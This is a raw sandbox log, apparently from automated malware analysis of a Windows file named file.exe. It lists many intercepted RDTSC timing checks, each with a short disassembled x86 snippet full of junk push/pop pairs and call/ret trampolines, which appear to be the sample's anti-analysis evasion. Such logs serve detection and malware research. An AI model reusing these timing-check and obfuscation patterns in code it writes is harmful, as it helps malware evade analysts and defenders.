Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA0E0A second address: EA0E11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA13A7 second address: EA13FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F8389204220h 0x0000000c nop 0x0000000d sub dword ptr [ebp+122D3126h], eax 0x00000013 push 00000000h 0x00000015 mov edi, dword ptr [ebp+12450EC5h] 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007F8389204218h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 00000014h 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 mov di, si 0x0000003a mov dword ptr [ebp+122D2755h], edi 0x00000040 xchg eax, esi 0x00000041 pushad 0x00000042 push ebx 0x00000043 push edi 0x00000044 pop edi 0x00000045 pop ebx 0x00000046 push esi 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA13FD second address: EA140A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a push esi 0x0000000b pop esi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA140A second address: EA1426 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8389204228h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA155E second address: EA1564 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA33CD second address: EA33D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA163D second address: EA1641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA33D2 second address: EA343C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8389204229h 0x00000008 jmp 00007F838920421Dh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 mov bl, 5Ah 0x00000015 mov ebx, esi 0x00000017 push 00000000h 0x00000019 sub dword ptr [ebp+12450B77h], eax 0x0000001f jmp 00007F8389204225h 0x00000024 push 00000000h 0x00000026 mov bx, 5869h 0x0000002a push eax 0x0000002b pushad 0x0000002c jmp 00007F838920421Eh 0x00000031 push eax 0x00000032 push edx 0x00000033 push edx 0x00000034 pop edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E52A66 second address: E52A9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8388CACA63h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jc 00007F8388CACA56h 0x00000013 jmp 00007F8388CACA63h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA450B second address: EA4515 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F8389204216h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E52A9C second address: E52AA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E52AA1 second address: E52ABF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F8389204216h 0x00000009 jmp 00007F8389204223h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA6B61 second address: EA6B69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA6B69 second address: EA6B6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA6B6F second address: EA6B7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA8998 second address: EA89AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F838920421Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA6B7B second address: EA6B7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA6B7F second address: EA6B83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA89AD second address: EA8A46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007F8388CACA5Ah 0x00000012 mov bx, di 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007F8388CACA58h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 00000018h 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 jmp 00007F8388CACA5Bh 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ecx 0x0000003b call 00007F8388CACA58h 0x00000040 pop ecx 0x00000041 mov dword ptr [esp+04h], ecx 0x00000045 add dword ptr [esp+04h], 00000014h 0x0000004d inc ecx 0x0000004e push ecx 0x0000004f ret 0x00000050 pop ecx 0x00000051 ret 0x00000052 clc 0x00000053 add edi, dword ptr [ebp+122D3861h] 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c push ecx 0x0000005d jmp 00007F8388CACA66h 0x00000062 pop ecx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA6C69 second address: EA6C7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jp 00007F8389204224h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAA87C second address: EAA886 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAA886 second address: EAA88A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAA88A second address: EAA923 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007F8388CACA58h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 push eax 0x00000023 jmp 00007F8388CACA66h 0x00000028 pop edi 0x00000029 call 00007F8388CACA5Dh 0x0000002e and ebx, 6D83CE52h 0x00000034 pop edi 0x00000035 push 00000000h 0x00000037 mov ebx, dword ptr [ebp+122D3B2Dh] 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push ebp 0x00000042 call 00007F8388CACA58h 0x00000047 pop ebp 0x00000048 mov dword ptr [esp+04h], ebp 0x0000004c add dword ptr [esp+04h], 0000001Bh 0x00000054 inc ebp 0x00000055 push ebp 0x00000056 ret 0x00000057 pop ebp 0x00000058 ret 0x00000059 mov ebx, dword ptr [ebp+122D393Dh] 0x0000005f xchg eax, esi 0x00000060 jg 00007F8388CACA5Eh 0x00000066 push eax 0x00000067 push edi 0x00000068 pushad 0x00000069 pushad 0x0000006a popad 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9AE5 second address: EA9AE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EABADA second address: EABB00 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8388CACA67h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e jo 00007F8388CACA56h 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EACA5D second address: EACA61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EADC29 second address: EADC2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB08CF second address: EB08DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB08DC second address: EB0944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push esi 0x00000007 pop esi 0x00000008 pop esi 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F8388CACA58h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 clc 0x00000026 stc 0x00000027 push 00000000h 0x00000029 mov di, F037h 0x0000002d push 00000000h 0x0000002f xor dword ptr [ebp+122D2513h], edi 0x00000035 ja 00007F8388CACA5Ch 0x0000003b xchg eax, esi 0x0000003c jmp 00007F8388CACA66h 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0944 second address: EB0948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0948 second address: EB0952 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8388CACA56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAFBD1 second address: EAFBE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F838920421Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB184C second address: EB1856 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8388CACA56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB87DF second address: EB87E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBA2D6 second address: EBA2DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBA2DD second address: EBA31F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F8389204216h 0x00000009 jng 00007F8389204216h 0x0000000f jo 00007F8389204216h 0x00000015 popad 0x00000016 jmp 00007F8389204222h 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jnc 00007F8389204226h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBA31F second address: EBA330 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 jne 00007F8388CACA56h 0x0000000b pop esi 0x0000000c push ecx 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB949 second address: EBB95D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F8389204216h 0x0000000a jmp 00007F838920421Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC102A second address: EC102E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC109E second address: EC10A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F8389204216h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC1251 second address: EC128F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push ecx 0x0000000d ja 00007F8388CACA56h 0x00000013 pop ecx 0x00000014 pop eax 0x00000015 mov eax, dword ptr [eax] 0x00000017 jmp 00007F8388CACA5Bh 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 pushad 0x00000021 pushad 0x00000022 jmp 00007F8388CACA64h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC448A second address: EC4490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC4490 second address: EC44DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F8388CACA5Ah 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F8388CACA5Dh 0x00000014 popad 0x00000015 pushad 0x00000016 jmp 00007F8388CACA65h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F8388CACA67h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC44DC second address: EC450E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8389204224h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8389204226h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9470 second address: EC9496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8388CACA69h 0x0000000c js 00007F8388CACA56h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9496 second address: EC949A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC949A second address: EC94A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC94A0 second address: EC94B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F8389204221h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC818E second address: EC81D4 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8388CACA56h 0x00000008 jnp 00007F8388CACA56h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jmp 00007F8388CACA68h 0x00000016 pop eax 0x00000017 jmp 00007F8388CACA60h 0x0000001c popad 0x0000001d push edx 0x0000001e jne 00007F8388CACA5Eh 0x00000024 push ebx 0x00000025 pop ebx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC88AD second address: EC88B9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8389204216h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC88B9 second address: EC88BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8FCC second address: EC8FD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8FD0 second address: EC8FD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8FD6 second address: EC8FE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8FE2 second address: EC8FE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8FE6 second address: EC8FFE instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8389204216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b ja 00007F8389204226h 0x00000011 push ebx 0x00000012 pushad 0x00000013 popad 0x00000014 pop ebx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC915D second address: EC9165 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9165 second address: EC9177 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8389204216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007F838920422Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECDA39 second address: ECDA43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F8388CACA56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECDA43 second address: ECDA4F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8389204216h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECDBC1 second address: ECDBC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECDBC7 second address: ECDBED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 jc 00007F8389204216h 0x0000000f pop ebx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007F838920421Ah 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECDBED second address: ECDBF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECDBF1 second address: ECDBF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECDD42 second address: ECDD4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F8388CACA56h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE3BB second address: ECE3C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE3C1 second address: ECE3C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE3C5 second address: ECE3D9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8389204216h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jbe 00007F838920421Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE3D9 second address: ECE3EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 jmp 00007F8388CACA5Ah 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE514 second address: ECE518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE823 second address: ECE828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7E5EC second address: E7E5FC instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8389204216h 0x00000008 jnl 00007F8389204216h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEC11 second address: ECEC17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEC17 second address: ECEC1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED392A second address: ED3932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3932 second address: ED395C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8389204216h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop ecx 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8389204227h 0x00000016 push edx 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED395C second address: ED3976 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA66h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2836 second address: ED285E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F8389204216h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d jmp 00007F8389204229h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9E715 second address: E9E728 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8388CACA5Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9E728 second address: E9E766 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jne 00007F838920422Bh 0x00000012 pop eax 0x00000013 mov di, B2E8h 0x00000017 jne 00007F8389204218h 0x0000001d push 47980954h 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9E766 second address: E9E774 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F8388CACA56h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9E8AA second address: E9E8B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9E8B6 second address: E9E8EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8388CACA60h 0x00000009 popad 0x0000000a jmp 00007F8388CACA68h 0x0000000f popad 0x00000010 xchg eax, esi 0x00000011 mov dh, bl 0x00000013 nop 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9E8EE second address: E9E8F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9E8F2 second address: E9E8F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9EC0D second address: E9EC14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
